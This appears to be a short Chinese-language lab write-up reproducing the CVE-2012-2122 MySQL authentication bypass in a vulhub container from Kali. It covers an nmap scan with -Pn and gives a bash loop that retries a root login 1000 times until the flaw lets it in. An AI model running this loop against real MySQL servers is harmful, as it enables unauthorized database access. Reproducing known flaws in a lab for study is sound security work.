1.原理
参考：CVE-2012-2122 Mysql身份认证漏洞及利用-CSDN博客
简单来说，除了配置上的问题以外，是密码的验证出现了漏洞，导致尝试次数多了之后直接可以登入
使用：kali+vulhub
2.复现
开一下镜像，用的是vulhub，不了解的可以自己搜一下，网上相关安装挺多的
用ifconfig查一下受攻击机的ip地址
址查一下端口，看看是否正常打开了，发现有3306
用主机的nmap试了下扫描，直接扫端口是扫不到的，因为虚拟机开了防火墙，要-Pn，禁掉ping方式才可以扫到
for i in `seq 1 1000`; do mysql -u root --password=bad -h targetip 2>/dev/null; done（前面让你看的自己ip）
最后记得停止使用容器防止后续其他容器的打开
docker ps 展示所有正在使用的容器
docker stop +容器的id 关闭容器